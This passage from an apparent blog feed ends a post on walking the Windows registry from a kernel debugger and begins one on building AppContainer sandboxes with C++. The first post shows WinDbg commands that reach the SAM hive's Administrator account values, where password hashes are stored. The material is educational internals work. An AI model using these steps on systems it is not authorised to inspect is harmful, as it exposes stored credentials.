&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The cause behind it was not the calculation method of the Cell address but due to the fact that the page was paged out. The clue for me was the fact the missing is usually surrounded by other mapped pages.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; db 280f6fa2fa0
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa2fa0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa2fb0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa2fc0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa2fd0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa2fe0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa2ff0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa3000  fe a3 d4 01 ff ff ff ff-ff ff ff 7f 57 8a 70 38  ............W.p8
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa3010  c8 b0 d6 01 e9 03 00 00-01 02 00 00 14 02 00 00  ................
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I didn’t find a way to solve this programmatically (i.e. force WinDbg to page-in), although just a reboot is enough to make sure the desired pages are still in memory. Then we can finally access the keys and values:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dx @$UserEncryptedPasswords = @$cursession.Registry.Hives.Where( x =&amp;gt; x.MountPoint.EndsWith(&amp;quot;SAM&amp;quot;)).First().RootNode.Subkeys[0].Subkeys[0].Subkeys.Where(x =&amp;gt; x.KeyName == &amp;quot;Account&amp;quot;).First().Subkeys[2].Subkeys
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.Registry.Hives.Where( x =&amp;gt; x.MountPoint.EndsWith(&amp;quot;SAM&amp;quot;)).First().RootNode.Subkeys[0].Subkeys[0].Subkeys.Where(x =&amp;gt; x.KeyName == &amp;quot;Account&amp;quot;).First().Subkeys[2].Subkeys                 : [object Generator]
&lt;&#x2F;span&gt;&lt;span&gt;    [0x0]            : 000001F4
&lt;&#x2F;span&gt;&lt;span&gt;    [0x1]            : 000001F5
&lt;&#x2F;span&gt;&lt;span&gt;    [0x2]            : 000001F7
&lt;&#x2F;span&gt;&lt;span&gt;    [0x3]            : 000001F8
&lt;&#x2F;span&gt;&lt;span&gt;    [0x4]            : 000003E9
&lt;&#x2F;span&gt;&lt;span&gt;    [0x5]            : Names
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So then to dump the keys for the &lt;code&gt;Administrator&lt;&#x2F;code&gt; (UID=500=0x1f4)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dx @$UserEncryptedPasswords[0].Values
&lt;&#x2F;span&gt;&lt;span&gt;@$UserEncryptedPasswords[0].Values                                  : [object Generator]
&lt;&#x2F;span&gt;&lt;span&gt;    [0x0]            : F
&lt;&#x2F;span&gt;&lt;span&gt;    [0x1]            : V
&lt;&#x2F;span&gt;&lt;span&gt;    [0x2]            : SupplementalCredentials
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx @$UserEncryptedPasswords[0].Values[0]
&lt;&#x2F;span&gt;&lt;span&gt;dx @$UserEncryptedPasswords[0].Values[0]                            : F
&lt;&#x2F;span&gt;&lt;span&gt;    KeyHive          [Type: _HHIVE]
&lt;&#x2F;span&gt;&lt;span&gt;    KeyValueObject   : 0x271ee85192c [Type: _CM_KEY_VALUE *]
&lt;&#x2F;span&gt;&lt;span&gt;    KeyName          : F
&lt;&#x2F;span&gt;&lt;span&gt;    KeyDataType      : REG_BINARY
&lt;&#x2F;span&gt;&lt;span&gt;    KeyDataSize      : 0x50
&lt;&#x2F;span&gt;&lt;span&gt;    Type             : CM_KEY_VALUE_SIGNATURE (6b76)
&lt;&#x2F;span&gt;&lt;span&gt;    KeyDataRaw       : 3,0,1,0,0,0,0,0,0,...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And done, we’ve got the data! We can now totally navigate the Registry from a KD session!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;outro&quot;&gt;Outro&lt;&#x2F;h2&gt;
&lt;p&gt;Understanding those bits of the &lt;abbr title=&quot;Configuration Manager&quot;&gt;CM&lt;&#x2F;abbr&gt; took more work than I imagined, but as it was nicely engineered, it was fun to go through. The &lt;abbr title=&quot;Configuration Manager&quot;&gt;CM&lt;&#x2F;abbr&gt; is way more complex than that, but this is the basics: we didn’t cover more advanced stuff like the use of the &lt;code&gt;.LOG&lt;&#x2F;code&gt; file, the memory management of the &lt;abbr title=&quot;Configuration Manager&quot;&gt;CM&lt;&#x2F;abbr&gt; and other funkiness, but I hope this article was interesting and useful to you and thanks for making it this far.&lt;&#x2F;p&gt;
&lt;p&gt;Peace out ✌&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;comaeio&amp;#x2F;SwishDbgExt&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;comaeio&amp;#x2F;SwishDbgExt&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;reactos&amp;#x2F;reactos&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;reactos&amp;#x2F;reactos&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.microsoftpressstore.com&#x2F;store&#x2F;windows-internals-part-1-9780735648739&quot;&gt;Windows Internals 6th - Part 1&lt;&#x2F;a&gt;, Chapter 4: Management Mechanism - The Registry&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;moyix.blogspot.com&#x2F;2008&#x2F;02&#x2F;enumerating-registry-hives.html&quot;&gt;Enumerating Registry Hives - moyix&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr&gt;&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn-0&quot;&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;windbg_js_scripts&#x2F;blob&#x2F;main&#x2F;scripts&#x2F;RegistryExplorer.js&quot;&gt;RegistryExplorer.js&lt;&#x2F;a&gt; &lt;a href=&quot;#fr-0-1&quot;&gt;↩&lt;&#x2F;a&gt; &lt;a href=&quot;#fr-0-2&quot;&gt;↩2&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li id=&quot;fn-1&quot;&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20220720121211&#x2F;https:&#x2F;&#x2F;ivanlef0u.fr&#x2F;repo&#x2F;madchat&#x2F;vxdevl&#x2F;papers&#x2F;winsys&#x2F;wk_internals&#x2F;registry.pdf&quot;&gt;Windows Kernel Internals NT Registry Implementation&lt;&#x2F;a&gt; &lt;a href=&quot;#fr-1-1&quot;&gt;↩&lt;&#x2F;a&gt; &lt;a href=&quot;#fr-1-2&quot;&gt;↩2&lt;&#x2F;a&gt; &lt;a href=&quot;#fr-1-3&quot;&gt;↩3&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li id=&quot;fn-4&quot;&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20140127003901&#x2F;https:&#x2F;&#x2F;www.securusglobal.com&#x2F;community&#x2F;2013&#x2F;12&#x2F;20&#x2F;dumping-windows-credentials&#x2F;&quot;&gt;Dumping Windows Credentials&lt;&#x2F;a&gt; by &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;lanjelot&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@lanjelot&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 &lt;a href=&quot;#fr-4-1&quot;&gt;↩&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Cheap sandboxing with AppContainers</title>
        <published>2020-12-29T00:00:00+00:00</published>
        <updated>2020-12-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2020-12-29-cheap-sandboxing-with-appcontainers/"/>
        <id>https://blahcat.github.io/2020-12-29-cheap-sandboxing-with-appcontainers/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2020-12-29-cheap-sandboxing-with-appcontainers/">&lt;h2 id=&quot;background&quot;&gt;Background&lt;&#x2F;h2&gt;
&lt;p&gt;This is a short blog post that I decided to finish recently after looking for a way to sandbox Win32 apps, but lazy as I am, I wanted something that&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;was free&#x2F;open-source &amp;amp; robustly tested&lt;&#x2F;li&gt;
&lt;li&gt;easily hackable to my need (custom permissions on file&#x2F;folder&#x2F;registry, on network access, on device access etc.)&lt;&#x2F;li&gt;
&lt;li&gt;little to no modification to my system
So off-the-shelf sandboxing products were disregarded immediately because they almost always fail on point #2 and &lt;strong&gt;always&lt;&#x2F;strong&gt; fail on point #1 as they’ll tend to increase attack surface (which is kindda the opposite of the objective here). So quickly Google turned me to &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;appcontainer-isolation&quot;&gt;Windows AppContainers&lt;&#x2F;a&gt; which the MSDN details the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;implementing-an-appcontainer&quot;&gt;implementation&lt;&#x2F;a&gt; well-enough.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;AppContainers are not new and by the look of it, they are here to stay. They were introduced in Windows 8 as an in-kernel isolation mechanism (a-la seccomp for Linux) and are the default model for UWP applications which a simple look at the new Calculator in Process Hacker shows immediately:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;4f110a8b-5af4-4f03-8c8d-6fe8e297fffe.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;4f110a8b-5af4-4f03-8c8d-6fe8e297fffe.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;As the MSDN mentions, AppContainers operates on 6 levels of isolation, each programmatically customizable:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;appcontainer-isolation#file-isolation&quot;&gt;File isolation&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;
operates by creating for the AppContained process its own sandbox and named object subtree. This allows the kernel to finely control access to the FS by the contained process.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;strong&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;appcontainer-isolation#network-isolation&quot;&gt;Network isolation&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;
will prevent any communication from&#x2F;to the process over the network unless explicitly given permissions (and they have relatively explicit names, for instance &lt;code&gt;WinCapabilityInternetClientSid&lt;&#x2F;code&gt; to allow Internet access as a client - see &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;api&#x2F;winnt&#x2F;ne-winnt-well_known_sid_type&quot;&gt;[WELL_KNOWN_SID_TYPE enumeration]&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;strong&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;appcontainer-isolation#process-isolation&quot;&gt;Process isolation&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;
makes the process unable to get a handle to any process outside the sandbox&lt;&#x2F;li&gt;
&lt;li&gt;And &lt;strong&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;appcontainer-isolation#window-isolation&quot;&gt;Window isolation&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; which
makes the process unable to target the Window of other processes.&lt;&#x2F;li&gt;
&lt;li&gt;There’s also &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;appcontainer-isolation#device-isolation&quot;&gt;&lt;strong&gt;Device isolation&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;appcontainer-isolation#credential-isolation&quot;&gt;&lt;strong&gt;Credential isolation&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt; but I haven’t played too much around those yet… Maybe a next post…&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;A useful feature added is the DllCharacteristics flag &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;debug&#x2F;pe-format#dll-characteristics&quot;&gt;&lt;code&gt;IMAGE_DLLCHARACTERISTICS_APPCONTAINER&lt;&#x2F;code&gt; - 0x1000&lt;&#x2F;a&gt; that will prevent a specific DLL image from being located outside an AppContained environment.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;appcontainer-where-are-you&quot;&gt;AppContainer, where are you?&lt;&#x2F;h2&gt;
&lt;p&gt;AppContainers being session specific, they are linked to the Session Id: more precisely objects of the container will reside in the &lt;code&gt;\Sessions\&amp;lt;SessionId&amp;gt;\AppContainerNamedObjects\&amp;lt;AppContainerSid&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;lkd&amp;gt; dx @$cursession.Objects.Children.Where( x =&amp;gt; x.Name == &amp;quot;Sessions&amp;quot;).First().Children[2].Children
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.Objects.Children.Where( x =&amp;gt; x.Name == &amp;quot;Sessions&amp;quot;).First().Children[2].Children                 : [object Generator]
&lt;&#x2F;span&gt;&lt;span&gt;    [0x0]            : \Sessions\2\AppContainerNamedObjects
&lt;&#x2F;span&gt;&lt;span&gt;    [0x1]            : \Sessions\2\Windows
&lt;&#x2F;span&gt;&lt;span&gt;    [0x2]            : \Sessions\2\DosDevices
&lt;&#x2F;span&gt;&lt;span&gt;    [0x3]            : \Sessions\2\BaseNamedObjects
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As for file&#x2F;folder objects, they will be located in &lt;code&gt;%LOCALAPPDATA%\Packages\&amp;lt;NameOfTheContainer&amp;gt;&lt;&#x2F;code&gt;, easily deletable. With each container within the same session being isolated from each other, no real damage can be done outside the sandbox* as everything will be un-done when deleting it (* permissions given depending). So AppContainers was perfect for my case, I just needed a small tool to create AppContainers on-demand - as I couldn’t find any pre-existing provided by MS.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;building-an-appcontainer-process&quot;&gt;Building an AppContainer Process&lt;&#x2F;h2&gt;
&lt;br&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;All the snippets below are C&#x2F;C++ used in my &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;pwn--&quot;&gt;&lt;code&gt;pwn++&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; library. Refer to the source code for the full implementation. Additionally, as I was already implementing my own version, I stumbled upon &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;zodiacon&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@zodiacon&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
. You might prefer reading&#x2F;using it if you want a serious implementation.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;

&lt;h3 id=&quot;create-an-appcontainer-profile&quot;&gt;Create an AppContainer profile&lt;&#x2F;h3&gt;
&lt;p&gt;That’s as simple as it gets: there’s an API exactly for that &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;api&#x2F;userenv&#x2F;nf-userenv-createappcontainerprofile&quot;&gt;&lt;code&gt;CreateAppContainerProfile&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;PSID AppContainerSid;
&lt;&#x2F;span&gt;&lt;span&gt;std::string &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;ContainerName&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;MyContainer&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CreateAppContainerProfile&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    ContainerName.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c_str&lt;&#x2F;span&gt;&lt;span&gt;(),
&lt;&#x2F;span&gt;&lt;span&gt;    ContainerName.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c_str&lt;&#x2F;span&gt;&lt;span&gt;(),
&lt;&#x2F;span&gt;&lt;span&gt;    ContainerName.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c_str&lt;&#x2F;span&gt;&lt;span&gt;(),
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;amp;AppContainerSid
&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;add-the-desired-capabilities&quot;&gt;Add the desired capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;This was slightly trickier: to expose a specific capability or file&#x2F;folder access to the container we must rely on &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;modifying-the-acls-of-an-object-in-c--&quot;&gt;Windows object ACL mechanism&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Saved the old ACL - you don&amp;#39;t want to skip this step 😉
&lt;&#x2F;span&gt;&lt;span&gt;    ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetNamedSecurityInfo&lt;&#x2F;span&gt;&lt;span&gt;(ObjectName, ObjectType, DACL_SECURITY_INFORMATION, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;, &amp;amp;pOldAcl, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;, &amp;amp;pSD);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Add the new access mode &amp;amp; mask entry
&lt;&#x2F;span&gt;&lt;span&gt;    Access.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;grfAccessMode &lt;&#x2F;span&gt;&lt;span&gt;= AccessMode;
&lt;&#x2F;span&gt;&lt;span&gt;    Access.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;grfAccessPermissions &lt;&#x2F;span&gt;&lt;span&gt;= AccessMask;
&lt;&#x2F;span&gt;&lt;span&gt;    Access.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;grfInheritance &lt;&#x2F;span&gt;&lt;span&gt;= OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE;
&lt;&#x2F;span&gt;&lt;span&gt;    Access.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Trustee&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MultipleTrusteeOperation &lt;&#x2F;span&gt;&lt;span&gt;= NO_MULTIPLE_TRUSTEE;
&lt;&#x2F;span&gt;&lt;span&gt;    Access.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Trustee&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pMultipleTrustee &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    Access.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Trustee&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ptstrName &lt;&#x2F;span&gt;&lt;span&gt;= (PWSTR)AppContainerSid.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;c_str&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;    Access.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Trustee&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TrusteeForm &lt;&#x2F;span&gt;&lt;span&gt;= TRUSTEE_IS_SID;
&lt;&#x2F;span&gt;&lt;span&gt;    Access.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Trustee&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TrusteeType &lt;&#x2F;span&gt;&lt;span&gt;= TRUSTEE_IS_GROUP;
&lt;&#x2F;span&gt;&lt;span&gt;    ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SetEntriesInAcl&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &amp;amp;Access, pOldAcl, &amp;amp;pNewAcl);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; Apply the new ACLs
&lt;&#x2F;span&gt;&lt;span&gt;    ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SetNamedSecurityInfo&lt;&#x2F;span&gt;&lt;span&gt;(ObjectName, ObjectType, DACL_SECURITY_INFORMATION, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;, pNewAcl, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;insert-the-capability-set-to-the-startup-info&quot;&gt;Insert the capability set to the startup info&lt;&#x2F;h3&gt;
